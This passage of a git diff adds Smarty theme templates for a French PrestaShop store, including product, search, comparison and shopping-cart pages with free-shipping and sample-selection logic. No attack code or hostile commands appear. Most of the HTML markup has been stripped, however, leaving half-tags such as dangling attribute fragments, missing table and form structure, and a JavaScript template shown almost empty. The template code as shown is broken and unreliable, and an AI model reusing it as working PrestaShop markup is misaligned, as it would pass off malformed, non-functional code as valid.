        +{/if} + diff --git a/themes/default/product-js.tpl b/themes/default/product-js.tpl new file mode 100755 index 0000000..3953e6b --- /dev/null +++ b/themes/default/product-js.tpl @@ -0,0 +1,131 @@ + + \ No newline at end of file diff --git a/themes/default/product-list.tpl b/themes/default/product-list.tpl new file mode 100755 index 0000000..57265da --- /dev/null +++ b/themes/default/product-list.tpl @@ -0,0 +1,46 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($products)} + + + +{/if} diff --git a/themes/default/product-sort.tpl b/themes/default/product-sort.tpl new file mode 100755 index 0000000..874cd02 --- /dev/null +++ b/themes/default/product-sort.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($orderby) AND isset($orderway)} + +{* On 1.5 the var request is setted on the front controller. The next lines assure the retrocompatibility with some modules *} +{if !isset($request)} + + {if isset($smarty.get.id_category) && $smarty.get.id_category} + {assign var='request' value=$link->getPaginationLink('category', $category, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer} + {assign var='request' value=$link->getPaginationLink('manufacturer', $manufacturer, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier} + {assign var='request' value=$link->getPaginationLink('supplier', $supplier, false, true)} + {else} + {assign var='request' value=$link->getPaginationLink(false, false, false, true)} + {/if} +{/if} + + + +
        +

        + + +

        +
        + +{/if} diff --git a/themes/default/product.tpl b/themes/default/product.tpl new file mode 100755 index 0000000..3f485e9 --- /dev/null +++ b/themes/default/product.tpl @@ -0,0 +1,309 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !$priceDisplay || $priceDisplay == 2} + {assign var='productPrice' value=$product->getPrice(true, $smarty.const.NULL, $priceDisplayPrecision)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(false, $smarty.const.NULL)} +{elseif $priceDisplay == 1} + {assign var='productPrice' value=$product->getPrice(false, $smarty.const.NULL, $priceDisplayPrecision)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(true, $smarty.const.NULL)} +{/if} +{include file="$tpl_dir./product-js.tpl"} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        + {include file="$tpl_dir./errors.tpl"} + + {if isset($confirmation) && $confirmation} +

        + {$confirmation} +

        + {/if} +

        [{$product->name|escape:'htmlall':'UTF-8'}]

        + + +
        +

        {$product->description_short|strip_tags|escape:'htmlall':'UTF-8'}

        + +
        + {if $have_image} +
        + {* + {$product->name|escape:'htmlall':'UTF-8'} + Zoom + *} +
          + {foreach from=$images item=image name=slides} + {assign var=imageIds value="`$product->id`-`$image.id_image`"} +
        • + + {$image.legend|htmlspecialchars} + +
        • + {/foreach} +
        +
        + Zoom + {else} + + + Zoom + + {/if} +
        + {if isset($images) && count($images) > 0} + + + {/if} +
        + + +
        + +
        quantity > 0}class="hidden"{/if} action="{$link->getPageLink('cart')}" method="post"> + {if (!$allow_oosp && $product->quantity <= 0) OR !$product->available_for_order OR (isset($restricted_country_mode) AND $restricted_country_mode) OR $PS_CATALOG_MODE}{else} +

        + +

        + {/if} + + +
        + minimal_quantity > 1}onkeyup="checkMinimalQuantity({$product->minimal_quantity});"{/if} /> +   +   +
        + {if $product->show_price AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} +
        + +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {convertPrice price=$productPrice} + {/if} +

        + {if $product->specificPrice AND $product->specificPrice.reduction && $product->specificPrice.reduction > 0} +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {if $productPriceWithoutReduction > $productPrice} + {convertPrice price=$productPriceWithoutReduction} + {/if} + {/if} +

        + {/if} + {if isset($HOOK_PRODUCT_ACTIONS) && $HOOK_PRODUCT_ACTIONS}{$HOOK_PRODUCT_ACTIONS}{/if} + +
        + {/if} + + + + +
        +
        + {if $product->contenu_tiroir_1} +
        +

        {$product->tiroir_1}

        + +
        + {/if} + {if $product->contenu_tiroir_2} +
        +

        {$product->tiroir_2}

        + +
        + {/if} + {if $product->contenu_tiroir_3} +
        +

        {$product->tiroir_3}

        + +
        + {/if} + {if $product->contenu_tiroir_4} +
        +

        {$product->tiroir_4}

        + +
        + {/if} + {if $product->contenu_tiroir_5} +
        +

        {$product->tiroir_5}

        + +
        + {/if} + {if $product->contenu_tiroir_6} +
        +

        {$product->tiroir_6}

        + +
        + {/if} +
        + + + + + + + + +

        minimal_quantity <= 1 OR !$product->available_for_order OR $PS_CATALOG_MODE} style="display: none;"{/if}> + {l s='This product is not sold individually. You must select at least'} {$product->minimal_quantity} {l s='quantity for this product.'} +

        + {if $product->minimal_quantity > 1} + + {/if} + + +

        quantity > 0 || ($product->quantity <= 0 && !$product->available_later && $allow_oosp) OR ($product->quantity > 0 && !$product->available_now) OR !$product->available_for_order OR $PS_CATALOG_MODE} style="display: none;"{/if}> + {l s='Availability:'} + quantity <= 0} class="warning_inline"{/if}>{if $product->quantity <= 0}{if $allow_oosp}{$product->available_later}{else}{l s='This product is no longer in stock'}{/if}{else}{$product->available_now}{/if} +

        +

        quantity > 0) OR !$product->available_for_order OR $PS_CATALOG_MODE OR !isset($product->available_date) OR $product->available_date < $smarty.now|date_format:'%Y-%m-%d'} style="display: none;"{/if}> + {l s='Availability date:'} + {dateFormat date=$product->available_date full=false} +

        + + +
        quantity > 0} style="display: none;"{/if}> + {$HOOK_PRODUCT_OOS} +
        + +
        + {if isset($HOOK_EXTRA_RIGHT) && $HOOK_EXTRA_RIGHT}{$HOOK_EXTRA_RIGHT}{/if} +
        + +{if (isset($quantity_discounts) && count($quantity_discounts) > 0)} + + +
        + + + + + + + + + + {foreach from=$quantity_discounts item='quantity_discount' name='quantity_discounts'} + + + + + + {/foreach} + +
        {l s='Product'}{l s='From (qty)'}{l s='Discount'}
        + {if (isset($quantity_discount.attributes) && ($quantity_discount.attributes))} + {$product->getProductName($quantity_discount.id_product, $quantity_discount.id_product_attribute)} + {else} + {$product->getProductName($quantity_discount.id_product)} + {/if} + {$quantity_discount.quantity|intval} + {if $quantity_discount.price >= 0 OR $quantity_discount.reduction_type == 'amount'} + -{convertPrice price=$quantity_discount.real_value|floatval} + {else} + -{$quantity_discount.real_value|floatval}% + {/if} +
        +
        +{/if} +{if isset($HOOK_PRODUCT_FOOTER) && $HOOK_PRODUCT_FOOTER}{$HOOK_PRODUCT_FOOTER}{/if} + + + {if (isset($product) && $product->description) || (isset($features) && $features) || (isset($accessories) && $accessories) || (isset($HOOK_PRODUCT_TAB) && $HOOK_PRODUCT_TAB) || (isset($attachments) && $attachments) || isset($product) && $product->customizable} +
        +
        + {if isset($HOOK_PRODUCT_TAB_CONTENT) && $HOOK_PRODUCT_TAB_CONTENT}{$HOOK_PRODUCT_TAB_CONTENT}{/if} +
        +
        + {/if} +
        +
        + {if $product->video_1!=""} +
        {l s='La créatrice en parle'}
        {$product->video_1}
        + {/if} + {if isset($accessories) && $accessories} +
        {l s='Vous aimerez aussi'}
        +
        +
        +
          + {foreach from=$accessories item=accessoire} +
        • + + {$accessoire.legend|escape:'htmlall':'UTF-8'} + +
        • + {/foreach} +
        +
        +
        + > + > +
        + + {/if} + + {if $product->video_2!=""}
        {l s='Vu à la télé'}
        {$product->video_2}
        {/if} +
        diff --git a/themes/default/products-comparison.tpl b/themes/default/products-comparison.tpl new file mode 100755 index 0000000..2873972 --- /dev/null +++ b/themes/default/products-comparison.tpl @@ -0,0 +1,144 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Product Comparison'}{/capture} + +{include file="$tpl_dir./breadcrumb.tpl"} +

        {l s='Product Comparison'}

        + +{if $hasProduct} +
        + + + {assign var='taxes_behavior' value=false} + {if $use_taxes && (!$priceDisplay || $priceDisplay == 2)} + {assign var='taxes_behavior' value=true} + {/if} + {foreach from=$products item=product name=for_products} + {assign var='replace_id' value=$product->id|cat:'|'} + + + {/foreach} + + + + + {section loop=$products|count step=1 start=0 name=td} + + {/section} + + + {if $ordered_features} + {foreach from=$ordered_features item=feature} + + {cycle values='comparison_feature_odd,comparison_feature_even' assign='classname'} + + + {foreach from=$products item=product name=for_products} + {assign var='product_id' value=$product->id} + {assign var='feature_id' value=$feature.id_feature} + {if isset($product_features[$product_id])} + {assign var='tab' value=$product_features[$product_id]} + + {else} + + {/if} + {/foreach} + + {/foreach} + {else} + + + + + {/if} + + {$HOOK_EXTRA_PRODUCT_COMPARISON} +
        + + {$product->name|escape:html:'UTF-8'} + +

        {$product->name|truncate:27:'...'|escape:'htmlall':'UTF-8'}

        + + {l s='View'} + +
        +
        + {if isset($product->show_price) && $product->show_price && !isset($restricted_country_mode) && !$PS_CATALOG_MODE} +

        {convertPrice price=$product->getPrice($taxes_behavior)}

        +
        + {if $product->on_sale} + {l s='On sale!'} + {elseif $product->specificPrice AND $product->specificPrice.reduction} + {l s='Reduced price!'} + {/if} +
        + + {if !empty($product->unity) && $product->unit_price_ratio > 0.000000} + {math equation="pprice / punit_price" pprice=$product->getPrice($taxes_behavior) punit_price=$product->unit_price_ratio assign=unit_price} +

        {convertPrice price=$unit_price} {l s='per %s' sprintf=$product->unity|escape:'htmlall':'UTF-8'}

        + {else} +   + {/if} + {/if} +
        + +

        + {if !(($product->quantity <= 0 && !$product->available_later) OR ($product->quantity != 0 && !$product->available_now) OR !$product->available_for_order OR $PS_CATALOG_MODE)} + {l s='Availability:'} + quantity <= 0} class="warning-inline"{/if}> + {if $product->quantity <= 0} + {if $allow_oosp} + {$product->available_later|escape:'htmlall':'UTF-8'} + {else} + {l s='This product is no longer in stock.'} + {/if} + {else} + {$product->available_now|escape:'htmlall':'UTF-8'} + {/if} + + {/if} +

        + {l s='Remove'} + {if (!$product->hasAttributes() OR (isset($add_prod_display) AND ($add_prod_display == 1))) AND $product->minimal_quantity == 1 AND $product->customizable != 2 AND !$PS_CATALOG_MODE} + {if ($product->quantity > 0 OR $product->allow_oosp)} + id}&token={$static_token}&add")}" title="{l s='Add to cart'}">{l s='Add to cart'} + {else} + {l s='Add to cart'} + {/if} + {else} +
        + {/if} +
        +
        + {l s='Features:'} +
        + {$feature.name|escape:'htmlall':'UTF-8'} + {if (isset($tab[$feature_id]))}{$tab[$feature_id]|escape:'htmlall':'UTF-8'}{/if}
        {l s='No features to compare'}
        +
        +{else} +

        {l s='There are no products selected for comparison.'}

        +{/if} + diff --git a/themes/default/restricted-country.tpl b/themes/default/restricted-country.tpl new file mode 100755 index 0000000..3c34f94 --- /dev/null +++ b/themes/default/restricted-country.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + {$meta_title|escape:'htmlall':'UTF-8'} + +{if isset($meta_description)} + +{/if} +{if isset($meta_keywords)} + +{/if} + + + + + +
        +

        logo

        +

        + {l s='You cannot access this store from your country. We apologize for the inconvenience.'} +

        +   +
        + + \ No newline at end of file diff --git a/themes/default/scenes.tpl b/themes/default/scenes.tpl new file mode 100755 index 0000000..e8b86fe --- /dev/null +++ b/themes/default/scenes.tpl @@ -0,0 +1,88 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if scenes} + + + + + +
        +
        + {foreach $scenes as $scene_key=>$scene} +
        + {foreach $scene->products as $product_key=>$product} + {assign var=imageIds value="`$product.id_product`-`$product.id_image`"} + +   + + + {/foreach} +
        + {/foreach} +
        + {if isset($scenes.1)} +
        + + + +
        +
          + {foreach $scenes as $scene} +
        • + + {$scene->name|escape:'htmlall':'UTF-8'} + +
        • + {/foreach} +
        +
        + + + +
        + {/if} +
        +{/if} diff --git a/themes/default/search.tpl b/themes/default/search.tpl new file mode 100755 index 0000000..3beb70f --- /dev/null +++ b/themes/default/search.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture name=path}{l s='Search'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        +{l s='Search'} {if $nbProducts > 0}"{if isset($search_query) && $search_query}{$search_query|escape:'htmlall':'UTF-8'}{elseif $search_tag}{$search_tag|escape:'htmlall':'UTF-8'}{elseif $ref}{$ref|escape:'htmlall':'UTF-8'}{/if}"{/if} +{if isset($instantSearch) && $instantSearch}{l s='Return to the previous page'}{/if} +

        + +{include file="$tpl_dir./errors.tpl"} +{if !$nbProducts} +

        + {if isset($search_query) && $search_query} + {l s='No results were found for your search'} "{if isset($search_query)}{$search_query|escape:'htmlall':'UTF-8'}{/if}" + {elseif isset($search_tag) && $search_tag} + {l s='No results were found for your search'} "{$search_tag|escape:'htmlall':'UTF-8'}" + {else} + {l s='Please enter a search keyword'} + {/if} +

        +{else} +

        {if $nbProducts == 1}{l s='%d result has been found.' sprintf=$nbProducts|intval}{else}{l s='%d results have been found.' sprintf=$nbProducts|intval}{/if}

        + {include file="./product-compare.tpl"} + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} +
        + {include file="$tpl_dir./product-sort.tpl"} +
        + {/if} + + {include file="$tpl_dir./product-list.tpl" products=$search_products} + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)}{include file="$tpl_dir./pagination.tpl"}{/if} + {include file="./product-compare.tpl"} +{/if} diff --git a/themes/default/shopping-cart-product-line-step3.tpl b/themes/default/shopping-cart-product-line-step3.tpl new file mode 100755 index 0000000..d42f983 --- /dev/null +++ b/themes/default/shopping-cart-product-line-step3.tpl @@ -0,0 +1,58 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {$product.name|escape:'htmlall':'UTF-8'} + + +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:120:"...":true}

        +

        {if isset($product.attributes) && $product.attributes} - {$product.attributes|escape:'htmlall':'UTF-8'}
        {/if}{$product.description_short|strip_tags|escape:'htmlall':'UTF-8'|truncate:160:"...":true}

        + + + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if $product.link_rewrite|strstr:"giftcard"} + {$product.cart_quantity} + {else} + {$customizedDatas.$productId.$productAttributeId|@count} + {/if} + {else} + {$product.cart_quantity-$quantityDisplayed} + {/if} + + + + {if !empty($product.gift)} + {l s='Gift!'} + {else} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if !$priceDisplay}{displayPrice price=$product.total_customization_wt}{else}{displayPrice price=$product.total_customization}{/if} + {else} + {if !$priceDisplay}{displayPrice price=$product.total_wt}{else}{displayPrice price=$product.total}{/if} + {/if} + {/if} + + + diff --git a/themes/default/shopping-cart-product-line.tpl b/themes/default/shopping-cart-product-line.tpl new file mode 100755 index 0000000..5151f1d --- /dev/null +++ b/themes/default/shopping-cart-product-line.tpl @@ -0,0 +1,86 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {$product.name|escape:'htmlall':'UTF-8'} + + +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:120:"...":true}

        +

        {if isset($product.attributes) && $product.attributes} - {$product.attributes|escape:'htmlall':'UTF-8'}
        {/if}{$product.description_short|strip_tags|escape:'htmlall':'UTF-8'|truncate:160:"...":true}

        + + + {if !empty($product.gift) OR $product.link_rewrite|strstr:"giftcard"} + + {if $product.link_rewrite|strstr:"giftcard"} + {$product.cart_quantity} + {/if} + + {else} +
        + {if !isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed > 0} + + + {l s='Add'}
        + {if $product.minimal_quantity < ($product.cart_quantity-$quantityDisplayed) OR $product.minimal_quantity <= 1} + + {l s='Subtract'} + + {else} + + {l s='Subtract'} + + {/if} + + {/if} +
        + {/if} + + + {*if !isset($noDeleteButton) || !$noDeleteButton*} + {*if (!isset($customizedDatas.$productId.$productAttributeId) OR $quantityDisplayed) > 0 && empty($product.gift)*} + {*{l s='Delete'} +
        *} + + {if empty($product.gift)} + {l s='Delete'} + {/if} + {*/if*} + {*/if*} + + + + {if !empty($product.gift)} + {l s='Gift!'} + {else} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if !$priceDisplay}{displayPrice price=$product.total_customization_wt}{else}{displayPrice price=$product.total_customization}{/if} + {else} + {if !$priceDisplay}{displayPrice price=$product.total_wt}{else}{displayPrice price=$product.total}{/if} + {/if} + {/if} + + + diff --git a/themes/default/shopping-cart.tpl b/themes/default/shopping-cart.tpl new file mode 100755 index 0000000..13077fc --- /dev/null +++ b/themes/default/shopping-cart.tpl @@ -0,0 +1,332 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + {capture name=path}{l s='Your shopping cart'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Mon panier'}]

        + {assign var="current_step" value=""} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        + {hook h='displayTopOrderRightColumn'} + {include file="$tpl_dir./order-opc-rightColumn.tpl"} +
        +
        +
        +

        + {l s='Valider mon panier'} + {l s='Continuer mes achats'} +

        +

        {l s='Livraison offerte à partir de 60€ d\'achats'}

        + +{if isset($account_created)} +

        + {l s='Your account has been created.'} +

        +{/if} +{include file="$tpl_dir./errors.tpl"} + +{if isset($empty)} +

        {l s='Your shopping cart is empty.'}

        +{elseif $PS_CATALOG_MODE} +

        {l s='This store has not accepted your new order.'}

        +{else} + + + + +
        + + + {*if $use_taxes} + {if $priceDisplay} + + + + + {else} + + + + + {/if} + {else} + + + + + {/if*} + + + + + {*if $total_shipping_tax_exc <= 0 && !isset($virtualCart)} + + + + + {else} + {if $use_taxes} + {if $priceDisplay} + + + + + {else} + + + + + {/if} + {else} + + + + + {/if} + {/if*} + + + + + + + + + + + + + + + + + + + {foreach $products as $product} + {if $product.id_category_default!=12} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=$product@iteration%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId) || count($gift_products)} + {* Display the product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/if} + {/foreach} + {assign var='last_was_odd' value=$product@iteration%2} + {foreach $gift_products as $product} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=($product@iteration+$last_was_odd)%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId)} + {assign var='cannotModify' value=1} + {* Display the gift product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/foreach} + + {if sizeof($discounts)} + + {foreach $discounts as $discount} + + + + + + {/foreach} + + {/if} +
        {if $display_tax_label}{l s='Total products (tax excl.)'}{else}{l s='Total products'}{/if}{displayPrice price=$total_products}
        {if $display_tax_label}{l s='Total products (tax incl.)'}{else}{l s='Total products'}{/if}{displayPrice price=$total_products_wt}
        {l s='Total products'}{displayPrice price=$total_products}
        + {if $use_taxes} + {if $display_tax_label}{l s='Total gift wrapping (tax incl.):'}{else}{l s='Total gift-wrapping cost:'}{/if} + {else} + {l s='Total gift-wrapping cost:'} + {/if} + + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_wrapping_tax_exc} + {else} + {displayPrice price=$total_wrapping} + {/if} + {else} + {displayPrice price=$total_wrapping_tax_exc} + {/if} +
        {l s='Shipping'}{l s='Free Shipping!'}
        + {if $display_tax_label} + {if $use_taxes && $priceDisplay == 0} + {l s='Total vouchers (tax incl.):'} + {else} + {l s='Total vouchers (tax excl.)'} + {/if} + {else} + {l s='Total vouchers'} + {/if} + + {if $use_taxes && $priceDisplay == 0} + {assign var='total_discounts_negative' value=$total_discounts * -1} + {else} + {assign var='total_discounts_negative' value=$total_discounts_tax_exc * -1} + {/if} + {displayPrice price=$total_discounts_negative} +
        + {l s='Total'} ({l s='Hors frais de livraison'}) + {displayPrice price=$total_products_wt}
        +
        + {l s='Plus que'} + + {displayPrice price=60-$total_products_wt+$total_discounts} + + {l s='pour bénéficier d\'une livraison gratuite en France'}* +
        +
        {l s='Livraison offerte'}
        +
        + {if $voucherAllowed} + {if isset($errors_discount) && $errors_discount} +
          + {foreach $errors_discount as $k=>$error} +
        • {$error|escape:'htmlall':'UTF-8'}
        • + {/foreach} +
        + {/if} +
        +
        + + + + +
        +
        + {if !$logged} + {l s='Vous devez être connecté à votre compte avant de rentrer un code promotion'} + {/if} + {if $displayVouchers} +

        {l s='Take advantage of our exclusive offers:'}

        +
        + {foreach $displayVouchers as $voucher} + {if $voucher.code != ''}{$voucher.code} - {/if}{$voucher.name}
        + {/foreach} +
        + {/if} + {/if} +
        {$discount.code} - {$discount.name} + {if strlen($discount.code)}{l s='Delete'}{/if} + + {if !$priceDisplay}{displayPrice price=$discount.value_real*-1}{else}{displayPrice price=$discount.value_tax_exc*-1}{/if} +
        +
        +{if $show_option_allow_separate_package} +

        + allow_seperated_package}checked="checked"{/if} /> + +

        +{/if} +{if !$opc} + {if Configuration::get('PS_ALLOW_MULTISHIPPING')} +

        + + +

        + {/if} +{/if} +
        +{if isset($echantillons) && $echantillons|@count>0} +
        +

        [{l s='Sélectionnez'} 3 {l s='échantillons gratuits'}]

        +
          + {foreach from=$echantillons item=echantillon} + {if $echantillon.quantity>0} +
        • + + {$echantillon.legend|escape:'htmlall':'UTF-8'} + {$echantillon.name} + + +
        • + {/if} + {/foreach} +
        +
        +
        {/if} +{if !$virtualCart} +
        + +

        [{l s='Mode de livraison'}]

        + {include file="$tpl_dir./order-carrier-simple.tpl"} +

        *{l s='Délai et participation aux frais de livraison pour la France métropolitaine, Corse et Monaco uniquement.'} {l s='En savoir plus'}

        +
        +{/if} +
        + {l s='Total TTC'} {displayPrice price=$total_price} +
        +
        {$HOOK_SHOPPING_CART}
        +

        + + {*{l s='Valider mon panier'}*} + {l s='Continuer mes achats'} +

        +
        + {if !empty($HOOK_SHOPPING_CART_EXTRA)} +
        +
        +
        {$HOOK_SHOPPING_CART_EXTRA}
        +
        + {/if} +{/if} + +
        + +
        +
        +
        + + \ No newline at end of file diff --git a/themes/default/sitemap.tpl b/themes/default/sitemap.tpl new file mode 100755 index 0000000..cc7626f --- /dev/null +++ b/themes/default/sitemap.tpl @@ -0,0 +1,101 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* 